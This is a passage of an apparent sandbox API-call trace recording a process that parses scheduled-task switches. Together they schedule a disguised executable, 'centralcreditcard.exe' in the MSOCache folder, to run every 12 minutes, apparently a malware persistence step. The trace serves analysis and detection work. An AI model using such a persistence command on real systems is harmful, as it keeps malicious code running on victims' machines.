_BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|change|") returned 8 [0080.883] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.883] lstrlenW (lpString="|change|") returned 8 [0080.883] lstrlenW (lpString="|sc|") returned 4 [0080.883] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0080.883] SetLastError (dwErrCode=0x490) [0080.883] lstrlenW (lpString="run") returned 3 [0080.883] lstrlenW (lpString="run") returned 3 [0080.883] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] lstrlenW (lpString="sc") returned 2 [0080.883] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|run|") returned 5 [0080.883] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.883] lstrlenW (lpString="|run|") returned 5 [0080.883] lstrlenW (lpString="|sc|") returned 4 [0080.883] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0080.883] SetLastError (dwErrCode=0x490) [0080.883] lstrlenW (lpString="end") returned 3 [0080.883] lstrlenW (lpString="end") returned 3 [0080.883] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] lstrlenW (lpString="sc") returned 2 [0080.883] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|end|") returned 5 [0080.883] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.883] lstrlenW (lpString="|end|") returned 5 [0080.883] lstrlenW (lpString="|sc|") returned 4 [0080.883] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0080.883] SetLastError (dwErrCode=0x490) [0080.883] lstrlenW (lpString="showsid") returned 7 [0080.883] lstrlenW (lpString="showsid") returned 7 [0080.883] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] lstrlenW (lpString="sc") returned 2 [0080.884] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.884] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|showsid|") returned 9 [0080.884] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.884] lstrlenW (lpString="|showsid|") returned 9 [0080.884] lstrlenW (lpString="|sc|") returned 4 [0080.884] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="/sc") returned 3 [0080.884] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="/sc") returned 3 [0080.884] GetProcessHeap () returned 0x260000 [0080.884] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x8) returned 0x27c430 [0080.884] GetProcessHeap () returned 0x260000 [0080.884] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce60 [0080.884] SetLastError (dwErrCode=0x0) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="MINUTE") returned 6 [0080.884] lstrlenW (lpString="-/") returned 2 [0080.884] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="MINUTE") returned 6 [0080.884] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0080.884] SetLastError (dwErrCode=0x490) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="MINUTE") returned 6 [0080.884] GetProcessHeap () returned 0x260000 [0080.884] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27c450 [0080.884] GetProcessHeap () returned 0x260000 [0080.884] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce90 [0080.884] SetLastError (dwErrCode=0x0) [0080.884] SetLastError (dwErrCode=0x0) [0080.884] lstrlenW (lpString="/mo") returned 3 [0080.884] lstrlenW (lpString="-/") returned 2 [0080.885] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.885] lstrlenW (lpString="?") returned 1 [0080.885] lstrlenW (lpString="?") returned 1 [0080.885] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] lstrlenW (lpString="mo") returned 2 [0080.885] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.885] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.885] lstrlenW (lpString="|?|") returned 3 [0080.885] lstrlenW (lpString="|mo|") returned 4 [0080.885] SetLastError (dwErrCode=0x490) [0080.885] lstrlenW (lpString="create") returned 6 [0080.885] lstrlenW (lpString="create") returned 6 [0080.885] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] lstrlenW (lpString="mo") returned 2 [0080.885] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.885] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.885] lstrlenW (lpString="|create|") returned 8 [0080.885] lstrlenW (lpString="|mo|") returned 4 [0080.885] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0080.885] SetLastError (dwErrCode=0x490) [0080.885] lstrlenW (lpString="delete") returned 6 [0080.885] lstrlenW (lpString="delete") returned 6 [0080.885] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] lstrlenW (lpString="mo") returned 2 [0080.885] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.885] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|delete|") returned 8 [0080.885] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.885] lstrlenW (lpString="|delete|") returned 8 [0080.885] lstrlenW (lpString="|mo|") returned 4 [0080.885] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0080.885] SetLastError (dwErrCode=0x490) [0080.886] lstrlenW (lpString="query") returned 5 [0080.886] lstrlenW (lpString="query") returned 5 [0080.886] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] lstrlenW (lpString="mo") returned 2 [0080.886] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|query|") returned 7 [0080.886] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.886] lstrlenW (lpString="|query|") returned 7 [0080.886] lstrlenW (lpString="|mo|") returned 4 [0080.886] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0080.886] SetLastError (dwErrCode=0x490) [0080.886] lstrlenW (lpString="change") returned 6 [0080.886] lstrlenW (lpString="change") returned 6 [0080.886] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] lstrlenW (lpString="mo") returned 2 [0080.886] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|change|") returned 8 [0080.886] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.886] lstrlenW (lpString="|change|") returned 8 [0080.886] lstrlenW (lpString="|mo|") returned 4 [0080.886] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0080.886] SetLastError (dwErrCode=0x490) [0080.886] lstrlenW (lpString="run") returned 3 [0080.886] lstrlenW (lpString="run") returned 3 [0080.886] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] lstrlenW (lpString="mo") returned 2 [0080.886] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.886] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|run|") returned 5 [0080.886] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.886] lstrlenW (lpString="|run|") returned 5 [0080.886] lstrlenW (lpString="|mo|") returned 4 [0080.886] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0080.887] SetLastError (dwErrCode=0x490) [0080.887] lstrlenW (lpString="end") returned 3 [0080.887] lstrlenW (lpString="end") returned 3 [0080.887] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.887] lstrlenW (lpString="mo") returned 2 [0080.887] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.887] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|end|") returned 5 [0080.887] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.887] lstrlenW (lpString="|end|") returned 5 [0080.887] lstrlenW (lpString="|mo|") returned 4 [0080.887] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0080.887] SetLastError (dwErrCode=0x490) [0080.887] lstrlenW (lpString="showsid") returned 7 [0080.887] lstrlenW (lpString="showsid") returned 7 [0080.887] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.887] lstrlenW (lpString="mo") returned 2 [0080.887] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.887] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|showsid|") returned 9 [0080.887] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|mo|") returned 4 [0080.887] lstrlenW (lpString="|showsid|") returned 9 [0080.887] lstrlenW (lpString="|mo|") returned 4 [0080.887] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0080.887] SetLastError (dwErrCode=0x490) [0080.887] SetLastError (dwErrCode=0x490) [0080.887] SetLastError (dwErrCode=0x0) [0080.887] lstrlenW (lpString="/mo") returned 3 [0080.887] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0080.887] SetLastError (dwErrCode=0x490) [0080.887] SetLastError (dwErrCode=0x0) [0080.887] lstrlenW (lpString="/mo") returned 3 [0080.887] GetProcessHeap () returned 0x260000 [0080.887] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x8) returned 0x27c470 [0080.887] GetProcessHeap () returned 0x260000 [0080.887] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cec0 [0080.887] SetLastError (dwErrCode=0x0) [0080.887] SetLastError (dwErrCode=0x0) [0080.888] lstrlenW (lpString="12") returned 2 [0080.888] lstrlenW (lpString="-/") returned 2 [0080.888] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0080.888] SetLastError (dwErrCode=0x490) [0080.888] SetLastError (dwErrCode=0x490) [0080.888] SetLastError (dwErrCode=0x0) [0080.888] lstrlenW (lpString="12") returned 2 [0080.888] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0080.888] SetLastError (dwErrCode=0x490) [0080.888] SetLastError (dwErrCode=0x0) [0080.888] lstrlenW (lpString="12") returned 2 [0080.888] GetProcessHeap () returned 0x260000 [0080.888] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x6) returned 0x27c490 [0080.888] GetProcessHeap () returned 0x260000 [0080.888] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cef0 [0080.888] SetLastError (dwErrCode=0x0) [0080.888] SetLastError (dwErrCode=0x0) [0080.888] lstrlenW (lpString="/tr") returned 3 [0080.888] lstrlenW (lpString="-/") returned 2 [0080.888] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.888] lstrlenW (lpString="?") returned 1 [0080.888] lstrlenW (lpString="?") returned 1 [0080.888] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.888] lstrlenW (lpString="tr") returned 2 [0080.888] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.888] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.888] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.888] lstrlenW (lpString="|?|") returned 3 [0080.888] lstrlenW (lpString="|tr|") returned 4 [0080.888] SetLastError (dwErrCode=0x490) [0080.888] lstrlenW (lpString="create") returned 6 [0080.888] lstrlenW (lpString="create") returned 6 [0080.888] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.888] lstrlenW (lpString="tr") returned 2 [0080.888] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.889] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.889] lstrlenW (lpString="|create|") returned 8 [0080.889] lstrlenW (lpString="|tr|") returned 4 [0080.889] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0080.889] SetLastError (dwErrCode=0x490) [0080.889] lstrlenW (lpString="delete") returned 6 [0080.889] lstrlenW (lpString="delete") returned 6 [0080.889] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] lstrlenW (lpString="tr") returned 2 [0080.889] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|delete|") returned 8 [0080.889] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.889] lstrlenW (lpString="|delete|") returned 8 [0080.889] lstrlenW (lpString="|tr|") returned 4 [0080.889] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0080.889] SetLastError (dwErrCode=0x490) [0080.889] lstrlenW (lpString="query") returned 5 [0080.889] lstrlenW (lpString="query") returned 5 [0080.889] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] lstrlenW (lpString="tr") returned 2 [0080.889] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|query|") returned 7 [0080.889] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.889] lstrlenW (lpString="|query|") returned 7 [0080.889] lstrlenW (lpString="|tr|") returned 4 [0080.889] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0080.889] SetLastError (dwErrCode=0x490) [0080.889] lstrlenW (lpString="change") returned 6 [0080.889] lstrlenW (lpString="change") returned 6 [0080.889] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.889] lstrlenW (lpString="tr") returned 2 [0080.889] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|change|") returned 8 [0080.890] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.890] lstrlenW (lpString="|change|") returned 8 [0080.890] lstrlenW (lpString="|tr|") returned 4 [0080.890] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0080.890] SetLastError (dwErrCode=0x490) [0080.890] lstrlenW (lpString="run") returned 3 [0080.890] lstrlenW (lpString="run") returned 3 [0080.890] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] lstrlenW (lpString="tr") returned 2 [0080.890] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|run|") returned 5 [0080.890] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.890] lstrlenW (lpString="|run|") returned 5 [0080.890] lstrlenW (lpString="|tr|") returned 4 [0080.890] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0080.890] SetLastError (dwErrCode=0x490) [0080.890] lstrlenW (lpString="end") returned 3 [0080.890] lstrlenW (lpString="end") returned 3 [0080.890] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] lstrlenW (lpString="tr") returned 2 [0080.890] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|end|") returned 5 [0080.890] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.890] lstrlenW (lpString="|end|") returned 5 [0080.890] lstrlenW (lpString="|tr|") returned 4 [0080.890] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0080.890] SetLastError (dwErrCode=0x490) [0080.890] lstrlenW (lpString="showsid") returned 7 [0080.890] lstrlenW (lpString="showsid") returned 7 [0080.890] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.890] lstrlenW (lpString="tr") returned 2 [0080.890] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.891] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|showsid|") returned 9 [0080.891] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tr|") returned 4 [0080.891] lstrlenW (lpString="|showsid|") returned 9 [0080.891] lstrlenW (lpString="|tr|") returned 4 [0080.891] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0080.891] SetLastError (dwErrCode=0x490) [0080.891] SetLastError (dwErrCode=0x490) [0080.891] SetLastError (dwErrCode=0x0) [0080.891] lstrlenW (lpString="/tr") returned 3 [0080.891] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0080.891] SetLastError (dwErrCode=0x490) [0080.891] SetLastError (dwErrCode=0x0) [0080.891] lstrlenW (lpString="/tr") returned 3 [0080.891] GetProcessHeap () returned 0x260000 [0080.891] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x8) returned 0x27c4b0 [0080.891] GetProcessHeap () returned 0x260000 [0080.891] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf20 [0080.891] SetLastError (dwErrCode=0x0) [0080.891] SetLastError (dwErrCode=0x0) [0080.891] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.891] lstrlenW (lpString="-/") returned 2 [0080.891] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.891] SetLastError (dwErrCode=0x490) [0080.891] SetLastError (dwErrCode=0x490) [0080.891] SetLastError (dwErrCode=0x0) [0080.891] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.891] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0080.891] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.891] GetProcessHeap () returned 0x260000 [0080.891] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27c4d0 [0080.891] _memicmp (_Buf1=0x27c4d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.891] GetProcessHeap () returned 0x260000 [0080.891] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27c4f0 [0080.891] GetProcessHeap () returned 0x260000 [0080.891] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27c510 [0080.892] _memicmp (_Buf1=0x27c510, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.892] GetProcessHeap () returned 0x260000 [0080.892] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xb0) returned 0x27c530 [0080.892] SetLastError (dwErrCode=0x7a) [0080.892] SetLastError (dwErrCode=0x0) [0080.892] SetLastError (dwErrCode=0x0) [0080.892] lstrlenW (lpString="'C") returned 2 [0080.892] lstrlenW (lpString="-/") returned 2 [0080.892] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.892] SetLastError (dwErrCode=0x490) [0080.892] SetLastError (dwErrCode=0x490) [0080.892] SetLastError (dwErrCode=0x0) [0080.892] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.892] GetProcessHeap () returned 0x260000 [0080.892] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xae) returned 0x27c5f0 [0080.892] GetProcessHeap () returned 0x260000 [0080.892] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cf50 [0080.892] SetLastError (dwErrCode=0x0) [0080.892] SetLastError (dwErrCode=0x0) [0080.892] lstrlenW (lpString="/f") returned 2 [0080.892] lstrlenW (lpString="-/") returned 2 [0080.892] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.892] lstrlenW (lpString="?") returned 1 [0080.892] lstrlenW (lpString="?") returned 1 [0080.892] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.892] lstrlenW (lpString="f") returned 1 [0080.892] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.892] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.892] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.892] lstrlenW (lpString="|?|") returned 3 [0080.892] lstrlenW (lpString="|f|") returned 3 [0080.892] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0080.892] SetLastError (dwErrCode=0x490) [0080.892] lstrlenW (lpString="create") returned 6 [0080.892] lstrlenW (lpString="create") returned 6 [0080.892] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] lstrlenW (lpString="f") returned 1 [0080.893] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.893] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.893] lstrlenW (lpString="|create|") returned 8 [0080.893] lstrlenW (lpString="|f|") returned 3 [0080.893] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0080.893] SetLastError (dwErrCode=0x490) [0080.893] lstrlenW (lpString="delete") returned 6 [0080.893] lstrlenW (lpString="delete") returned 6 [0080.893] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] lstrlenW (lpString="f") returned 1 [0080.893] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|delete|") returned 8 [0080.893] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.893] lstrlenW (lpString="|delete|") returned 8 [0080.893] lstrlenW (lpString="|f|") returned 3 [0080.893] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0080.893] SetLastError (dwErrCode=0x490) [0080.893] lstrlenW (lpString="query") returned 5 [0080.893] lstrlenW (lpString="query") returned 5 [0080.893] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] lstrlenW (lpString="f") returned 1 [0080.893] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.893] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|query|") returned 7 [0080.893] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.893] lstrlenW (lpString="|query|") returned 7 [0080.893] lstrlenW (lpString="|f|") returned 3 [0080.893] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0080.893] SetLastError (dwErrCode=0x490) [0080.893] lstrlenW (lpString="change") returned 6 [0080.893] lstrlenW (lpString="change") returned 6 [0080.893] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.894] lstrlenW (lpString="f") returned 1 [0080.894] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.894] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|change|") returned 8 [0080.894] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|f|") returned 3 [0080.894] lstrlenW (lpString="|change|") returned 8 [0080.894] lstrlenW (lpString="|f|") returned 3 [0080.894] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0080.895] SetLastError (dwErrCode=0x490) [0080.895] lstrlenW (lpString="run") returned 3 [0080.895] lstrlenW (lpString="run") returned 3 [0080.895] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.895] lstrlenW 